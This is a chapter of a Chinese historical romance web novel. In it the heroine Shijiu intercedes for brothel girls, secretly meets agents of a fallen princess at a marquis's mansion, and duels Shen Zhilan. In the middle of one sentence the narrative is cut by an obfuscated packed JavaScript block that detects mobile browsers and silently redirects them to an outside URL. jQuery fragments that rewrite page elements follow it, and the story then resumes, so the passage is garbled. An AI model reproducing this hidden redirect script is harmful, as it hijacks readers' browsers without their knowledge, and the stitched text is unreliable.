二人下楼。


    此时已是黄昏，夕阳斜照，穿窗入户。


    日光将沈止澜深黑色的影拉得颇为颀长。


    余晖亦拂过十九肩头，却轻悄得仿佛不敢惊扰，只在她鬓边留下一抹转瞬即逝的温存。


    楼下厅堂，江柏舟正负手而立。


    听闻脚步声，他抬首，眸光先掠过沈止澜，旋即又似无意般扫过其后的十九，方才行礼：“这个时辰了，沈大人独自入宫面圣吗？”


    沈止澜颔首应道：“是。”


    江柏舟面色一缓。


    朝堂之事，有些话不能明说，先前一番机锋暗藏的话语，终究是入了沈止澜的耳，倒是不枉费他一番口舌。


    江柏舟道：“沈大人放心，此事影响深远，牵扯重大，诸般头绪纷杂如麻，下官定当尽心竭力，秉公办案。”


    沈止澜道：“江大人辛苦。”


    正当此时，十九的目光看向厅堂角落。


    那里，醉仙楼的姑娘们瑟缩在一间厢房门内，花容失色，钗环凌乱，有几个年纪尚小的已在低声啜泣。


    锦衣卫按刀而立，面色冷硬如铁。


    沈止澜走后，不知道这些姑娘究竟何去何从，锦衣卫是绝不会怜香惜玉的。


    十九悄悄扯了扯沈止澜的衣角。


    她本该视而不见的。


    这些年，她见过太多风雨飘零，深知在这座吃人的皇城里，自保已是万分艰难，哪有余力救人？可那些哭泣的脸，那些惊惶的眼，让她心中难安。


    她暗下决心，纵使沈止澜不愿为姑娘们出头，她也会自行想办法，定不会让姑娘们受苦。


    沈止澜感受到十九的动作，身形一顿。


    他没有回头，甚至没有侧目，却已明白十九之意。


    沈止澜转向江柏舟，道：“楼中的姑娘不过是风雨飘萍，求存而已，此事与她们并无干系。江大人审理要犯时，不必过多为难无辜。”


    江柏舟应道：“沈大人仁慈，下官明白。”说罢转身，对其余锦衣卫挥了挥手。


    “将其余人暂押侧院，好生看管，已查清无牵连者，按律释放。”


    锦衣卫领命而去。


    厢房内的哭泣声渐渐低了下去。


    十九这才安心不少。


    她抬眼看向沈止澜，玄袍如墨，沉郁凝重，正如他此人，规矩到刻板，总是看出不什么情绪。可他方才那句话，却为几十个卑微如尘的生命，求得一方暂时的安宁。


    他果真不是冷血无情之人。


    这个念头悄然浮现时，十九心头似庆幸，似怅然，忽又升起某种连她自己也不愿深究的情绪。


    她适时上前，垂首一礼：“沈大人，江大人，下官亦有公务在身，先行一步。”


    江柏舟不语。


    沈止澜轻轻朝她点了点头，暮光在他眸底映出一点浅金，让她心头莫名一跳。


    十九转身，快步走出醉仙楼。


    暮色四合，一片赤红的晚霞余晖洒下来。


    路面上的积雪化开，将青石板浸湿一片，两侧店铺檐下是先前过年挂上的灯笼，晕开一团团暖黄的光。


    夜风扑面而来，带着初春特有的微寒与潮湿，将她官袍的衣角吹得翩飞。


    “谢大人，请留步。”


    忽闻环佩清响，在寂静的街巷中格外分明，一抹藕荷色身影自巷口款款走出。


    十九瞬间警觉，右手已无声按上腰间长剑剑柄，足尖微错，拉开距离。


    她转头，发现来人是个女子，乌发半挽，斜插一支点翠蝴蝶簪，簪头却异常尖利，闪着寒光。


    她有些意外：“玉竹姑娘？”将手从剑柄上松开。


    这位姑娘十九在醉仙楼有过几面之缘，当时只当是寻常乐伎，如今看来，却大不寻常。


    玉竹姑娘走近，她眉眼间无风尘媚态，反有一股清冷之气，此刻正盈盈望着十九，唇角噙着一丝浅笑。


    “宁大人命我来，做您的引路人。”


    等不到十九的回音，她便自顾自地说下去，


    “大人说，‘亥时三刻，靖安侯府西南角，请您一叙’，还望您能准时赴约。”


    十九不禁皱眉：“去沈止澜府上？”


    玉竹颔首：“大人说了，靖安侯颇得圣眷，此次进宫，奏对之事繁多，陛下体恤，侯爷必定留宿宫中。侯府今夜空虚，您不必过于忧虑。”


    良久，十九缓缓道：“好。”


    玉竹嫣然一笑，又恢复那副娇俏模样，朝十九福了福身，转身没入巷中。


    ……


    亥时三刻。


    靖安侯府坐落在朱雀大街，却背靠一条僻静窄巷，此时夜深，更是无人来往。


    十九已换上一袭黑衣，墨色劲装紧束身形，长发以黑绸高高束起，干净利落。摘下飞影卫的银色面具，反倒无人会认出她的身份。


    她悄无声息地掠上西南墙头，翩然落入院内。


    落脚处是一方水榭，飞檐翘角依稀可见当年精致，许久不曾修缮，漆皮剥落，已显破败。池中枯荷寥落，在惨淡月色下投出凌乱的影。


    此时，负责修缮的工匠早已散去，而府邸的主人留宿宫中，偌大府邸毫无声息，唯有夜枭偶尔的啼叫。


    水榭中坐着一位头戴轻纱斗笠的女子，身影朦胧。


    她身侧站着一位玉面公子，面如冠玉，眉目清俊，一双眸子亮得惊人。


    见十九走来，女子款款起身，向她迎来。


    “谢大人，幸会，”她嗓音清越，字字珠玑，“在下宁越，是前朝长宁郡主的后人。”随后又介绍身旁的少年，“他叫萧觉寒，出身医药世家。”


    “是你们，一直隐于暗处，窥视于我。”十九止步于亭外石阶，手仍虚按腰侧长剑剑柄。


    “是。”宁越大大方方地承认，“大人这些年，走得不易，此后，我们会助您。”


    十九不应，反问道：“我娘也是你们的人？”


    “是，也不是。”宁越的声音透过轻纱传来，带着某种难以言喻的怅惘，“你娘，只是你娘，她从来不是谁的棋子，也不是谁的手下，她只是一个想让你平安长大的母亲。”


    十九默然。


    夜风穿过亭柱，勾起心底的寥落。那些模糊的童年记忆，娘亲温软的手，低声吟唱的江南小调，交织重叠，历历在目。


    宁越开口，打断她的回忆：“不过多亏了你，救了岫玉姐姐性命。”


    十九倏然抬眸，她猜到那应该是她娘的真名。


    “所以，你们原本是想要我娘性命？”她只觉寒意骤起，声音也冷了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227465|197088||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下去，“那你们想错了，这用至亲血肉铺就的青云路，我不走也罢。”


    宁越笑着转头，对身旁少年道：“你看，我赌对了。”


    “是他们，不是我们。”


    宁越开口，一副想要促膝长谈的架势，转身又回到水榭中坐下。


    十九坐在对面：“讲。”


    “你可知，亦有人为求复国，不择手段。三年前，他们找上了你娘……”


    十九不解：“他们是谁？你们又是谁？”


    “我们是长宁郡主旧部。”接话的是萧觉寒，少年声音清朗，在夜色中格外清晰。


    “长宁郡主用亲生女儿的命，换你成功出逃。家父那夜他拼死护主，身中二十七刀。那日极其蹊跷，或许追杀我们的并非大渝飞影卫，而是自己人。那夜，你出逃后不见踪迹，这些年，我们散落各地，暗中探查当年真相，也在四处寻你。”


    十九看着宁越朦胧的面容，看着萧觉寒清亮的眼，忽然觉得这十几年来所认知的一切，都在此刻寸寸碎裂。


    她所走的这条青云路，脚下踩着的，究竟是自己的血汗，还是无数人的尸骨与期望？


    “不要相信那些所谓的旧人……”


    十九还来不及震惊，便听到了脚步声，自水榭东侧的月洞门外传来。


    “沈止澜？”她心头一震，寒意骤生，“这个时辰他不应该在宫中吗？为何回府？”


    几乎同时，宁越也抬首，轻纱后的目光锐利如剑。


    萧觉寒已无声踏前一步，将宁越护在身后，右手按上了腰间软剑的剑柄。


    “阿音！”


    宁越止住萧觉寒的动作，轻声呼唤，没有应答，看向院墙，也不见人影。


    屋漏偏逢连夜雨，阿音居然不在，他们三人脱身的几率便更加渺茫。


    十九对宁越道：“你们先走。”


    宁越摇头，想要放手一搏。


    “沈止澜身手远超你们想象，还是让我来吧。”十九断然拒绝，朝宁越伸手，“斗笠给我，你们走！”


    “你？”宁越怔了怔。


    十九迅速戴上斗笠，轻纱垂落，遮住面容，她不容分说，将宁越往萧觉寒方向一推：


    “你们身份特殊，一旦暴露，必死无疑。”


    “保重。”


    萧觉寒点头，随即拉住宁越手腕，纵身跃出水榭，几个起落便翻出墙去。


    先出现的，是一角玄色袍摆。


    金线绣制的暗纹在月光下泛着冷光，接着是修长的手指，骨节分明的手，随意垂在身侧。


    然后，是那张脸。


    一张惊为天人的脸，此时，十九却一点不想欣赏。


    十九拔剑，与沈止澜交手。


    不过十招，她便发觉沈止澜内力深厚，一招一式极为扎实，令人难以招架。


    他明明常伴天子身侧，如何有这般好身手？


    十九见势不对，即刻抽身欲走。


    沈止澜正好一剑直刺面门，她横剑格挡，借势足尖一点，身形骤然向后飘退。


    十九见他不追，心头稍松，提气纵身，施展轻功，便要跃上西侧墙头。


    沈止澜轻笑一声，用内力震断长剑，剑尖出手，以迅雷不及掩耳之势，直逼十九后心。


    避无可避！